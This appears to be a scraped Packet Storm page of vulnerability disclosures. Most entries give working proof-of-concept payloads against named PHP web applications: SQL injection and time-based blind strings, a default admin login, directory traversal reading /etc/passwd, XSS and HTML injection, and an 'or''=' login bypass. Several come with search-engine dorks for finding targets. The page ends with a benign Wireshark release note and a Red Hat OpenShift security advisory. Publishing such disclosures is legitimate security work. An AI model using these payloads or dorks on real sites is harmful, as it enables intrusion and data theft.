Business Directory Script version 3.2 suffers from a remote SQL injection vulnerability.

    ## Title: Business-Directory-Script-3.2 SQLi## Author: nu11secur1ty## Date: 08/25/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/business-directory-script/#sectionDemo## Reference: https://portswigger.net/web-security/sql-injection## Description:The `column` parameter appears to be vulnerable to SQL injectionattacks. The payload ' was submitted in the column parameter, and adatabase error message was returned. You should review the contents ofthe error message, and the application's handling of other input, toconfirm whether a vulnerability is present. Additionally, the payload(select*from(select(sleep(20)))a) was submitted in the columnparameter. The application took 20271 milliseconds to respond to therequest, compared with 230 milliseconds for the original request,indicating that the injected SQL command caused a time delay. Theattacker can steal all information from the database of the server ofthis application!STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: column (GET)    Type: error-based    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)    Payload: controller=pjAdminListings&action=pjActionGetListing&column=(UPDATEXML(2242,CONCAT(0x2e,0x716a767a71,(SELECT(ELT(2242=2242,1))),0x7178787671),5199))&direction=ASC&page=1&rowCount=10&listing_refid=999888&keyword=999888&owner_id=&address_state=999888&address_city=999888&country_id=2&category_id=    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)    Payload: controller=pjAdminListings&action=pjActionGetListing&column=(SELECT6261 FROM (SELECT(SLEEP(15)))CMYC)&direction=ASC&page=1&rowCount=10&listing_refid=999888&keyword=999888&owner_id=&address_state=999888&address_city=999888&country_id=2&category_id=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Business-Directory-Script-Version%3A3.2/SQLi)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/08/business-directory-script-version32-sqli.html)## Time spend:01:35:00

Business Directory Script 3.2 SQL Injection

Gusto Recipes Management version 1.5.1 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Gusto - Recipes Management v1.5.1 System Insecure Settings Vulnerability                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://www.elmanawy.info/demo/gusto/                                                                              |  | # Dork      : /profile/1-gusto                                                                                                   |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] appears to leave a default administrative account in place post installation.[+] use Login : Email    : admin@admin.com                 Password : 123456 [+] http://127.0.0.1/mbc1org/admin/dashboard  Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Gusto Recipes Management 1.5.1 Insecure Settings

Groupoffice version 3.4.21 suffers from a directory traversal vulnerability.

    ====================================================================================================================================| # Title     : Groupoffice v3.4.21 Directory Traversal Vulnerability                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://www.group-office.com                                                                                         || # Dork      : Powered by Group-Office                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /compress.php?file=../../../../../../../../../../windows/win.ini[+] http://127.0.0.1/aa-hwkorg/compress.php?file=../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Groupoffice 3.4.21 Directory Traversal

Grawlix CMS version 1.1.1 suffers from a cross site scripting vulnerability.

    ============================================================================================================================| # Title     : Grawlix Cms v1.1.1 xss Vulnerability                                                                       || # Author    : indoushka                                                                                                  || # Tested on : windows 10 Français V.(Pro)                                                                                || # Vendor    : http://getgrawlix.com/                                                                                     |  | # Dork      : Powered by The Grawlix CMS                                                                                 |============================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /_admin/panl.login.php?ref=/_admin/%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E[+] http://127.0.0.1/obarandacom/_admin/panl.login.php?ref=/_admin/%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E[+] php info : http://127.0.0.1/obarandacom/info.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Grawlix CMS 1.1.1 Cross Site Scripting

Gravigra CMS version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Gravigra CMS v1.0 Sql injection Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://www.alwafaagroup.com/                                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /news.php?nid=1 ( inject her )[+] use payload : http://127.0.0.1/gravigracom/news.php?nid=1 ( inject her )Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Gravigra CMS 1.0 SQL Injection

Global Domains International version 2.0 suffers from an html injection vulnerability.

    ====================================================================================================================================| # Title     : Global Domains International v2.0 HTML inject Vulnerability                                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://www.worldsite.ws/                                                                                          || # Dork      :                                                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] infected File : /index.dhtml [+] use Payload : /index.dhtml?sponsor=gditrafficws'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] https://127.0.0.1/worldsitews/index.dhtml?sponsor=gditrafficws'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Global Domains International 2.0 HTML Injection

GetSimple CMS version 3.3.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : GetSimple CMS v3.3.2 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://get-simple.info/                                                                                            || # Dork      :  © 2009-2014 GetSimple CMS – Version 3.3.2                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] LIne 5 Se7 y0ur T@rg3t .[+] XSS Reflected - Jquery v1.7.1 :<html><head>  <meta charset="utf-8">  <title>XSS Reflected - Jquery v1.7.1 </title>  <script src="http://127.0.0.1/GetSimpleCMS/admin/template/js/jquery.min.js"></script>  <script>    $(function() {      $('#users').each(function() {        var select = $(this);        var option = select.children('option').first();        select.after(option.text());        select.hide();      });    });  </script></head>  <body>  <form method="post">    <p>      <select id="users" name="users">        <option value="xssreflected"><script>alert(&#x27;xssreflected - jquery v1.7.1 by - indoushka thnx to @firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option>      </select>    </p>  </form></body></html>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

GetSimple CMS 3.3.2 Cross Site Scripting

G and G Corporate CMS version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : G&G Corporate CMS v1.0 Auth by Pass Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : http://gegweb.it                                                                                                   |  | # Dork      : intext:Powered by Studio G&G Corporate Communication site:it                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : User & Pass : 'or''='[+] http://wwwpriolinoxeu/Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

G And G Corporate CMS 1.0 SQL Injection

Wireshark is a GTK+-based network protocol analyzer that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and Win32 and to give Wireshark features that are missing from closed-source sniffers. This is the source code release.

Wireshark Analyzer 4.0.8

Red Hat Security Advisory 2023-4671-01 - Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.12.30.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: OpenShift Container Platform 4.12.30 bug fix and security update  
Advisory ID:       RHSA-2023:4671-01  
Product:           Red Hat OpenShift Enterprise  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4671  
Issue date:        2023-08-23  
CVE Names:         CVE-2023-25173  
====================================================================  
1. Summary:

Red Hat OpenShift Container Platform release 4.12.30 is now available with  
updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container  
Platform 4.12.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing  
Kubernetes application platform solution designed for on-premise or private  
cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container  
Platform 4.12.30. See the following advisory for the RPM packages for this  
release:

https://access.redhat.com/errata/RHSA-2023:4674

Space precludes documenting all of the container images in this advisory.  
See the following Release Notes documentation, which will be updated  
shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

Security Fix(es):

* containerd: Supplementary groups are not set up properly (CVE-2023-25173)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

All OpenShift Container Platform 4.12 users are advised to upgrade to these  
updated packages and images when they are available in the appropriate  
release channel. To check for available updates, use the OpenShift CLI (oc)  
or web console. Instructions for upgrading a cluster are available at  
https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

3. Solution:

For OpenShift Container Platform 4.12 see the following documentation,  
which will be updated shortly for this release, for important instructions  
on how to upgrade your cluster and fully apply this asynchronous errata  
update:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

You may download the oc tool and use it to inspect release image metadata  
for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests  
may be found at  
https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.

The sha values for the release are

(For x86_64 architecture)  
The image digest is  
sha256:86ee723d4dc2a83f836232d1d03f8b4193940c50a2636ee86924acb5d14b0b64

(For s390x architecture)  
The image digest is  
sha256:c6e023eaa4e80a044bbaeaed5b578d18afddf0b52ad12571ee3a42aa0ff5862a

(For ppc64le architecture)  
The image digest is  
sha256:0a1dbd83d0552d0332c327d9bd9b1fce8ed73d89937178208d29a73276b72c1c

(For aarch64 architecture)  
The image digest is  
sha256:21145f1df3c0e88d50de5c697d7fab316f4792f91320a7196ed0dfd94396c0d9

All OpenShift Container Platform 4.12 users are advised to upgrade to these  
updated packages and images when they are available in the appropriate  
release channel. To check for available updates, use the OpenShift CLI (oc)  
or web console. Instructions for upgrading a cluster are available at  
https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2174485 - CVE-2023-25173 containerd: Supplementary groups are not set up properly

5. JIRA issues fixed (https://issues.redhat.com/):

OCPBUGS-14386 - Update cluster-bootstrap 4.12 dependencies and image  
OCPBUGS-16410 - ensure fixes land for large inodes  
OCPBUGS-16846 - [Openshift Pipelines] Stop option for pipelinerun is not working  
OCPBUGS-17192 - "Duplicate RoleBinding" leads to "Unsupported value" error  
OCPBUGS-17558 - [4.12] Missing Azure File CSI NFS support

6. References:

https://access.redhat.com/security/cve/CVE-2023-25173  
https://access.redhat.com/security/updates/classification/#moderate  
https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

7. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk5nCxAAoJENzjgjWX9erEilsQAI+QV6P2sngvpUvxGsvsK5Kx  
fa9w7/Er51AeI7LUWmArvj0pgKumjEr/toRD3fC/YfTm8jHhszDL2aFtk1zU54vR  
qIqajS6LDdILAJ0U8d9amuu5YxH8DFnyQYAfc+aYFyTaEy1i2Q/Rp0HcUa91pN3x  
eq4gyrRsYP+ovBK0XZqHw50Cx5Qn++ONIPlhOabbsmx5TtmQU0YxDe++LJ5yoT2O  
uGQPTcxE6WdqsC5Ulvx+F6XXbg2ITmxMiltu3Oln4ySKPCp+JhLyh4wJIuucqYVL  
slT3/wMsOHD2IRkxGI7rHMnemaemHPlDkHttLd/2M9LO2u1u+MWHfUzqHB+7qQGp  
HtlICid3TfX6lL6ypcF0DzbcvU/gc9Ju0f2YCdlLsitMe3Gr6RskWpVtkDRZ4zRb  
xVeOGqek4WSP8gouYYZlL+iciapy3yiL4EUR4s8jIBAjGChU9+/d/gbumKzCrNup  
cV9ypdsKPKs2PrnZLqeP1ryT3ZR7kaoM65h7UbBKb3oC4U2/BcJj+d679mqveOR/  
Y/ESqqU3tdHwavxtHsZJGhhhgpEklio/sqoYh4EsIe+qgDmHMXVcwZK6pBswE5zO  
frigYOAMEE3l8zVBsDDdOuc+gIXpzdp4rRrk9Mni7E9/MV5NB2LrOJxPkfk+9LBc  
OC/3MhzxhOnlqiEoTb5J  
¿lD  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Source

Packet Storm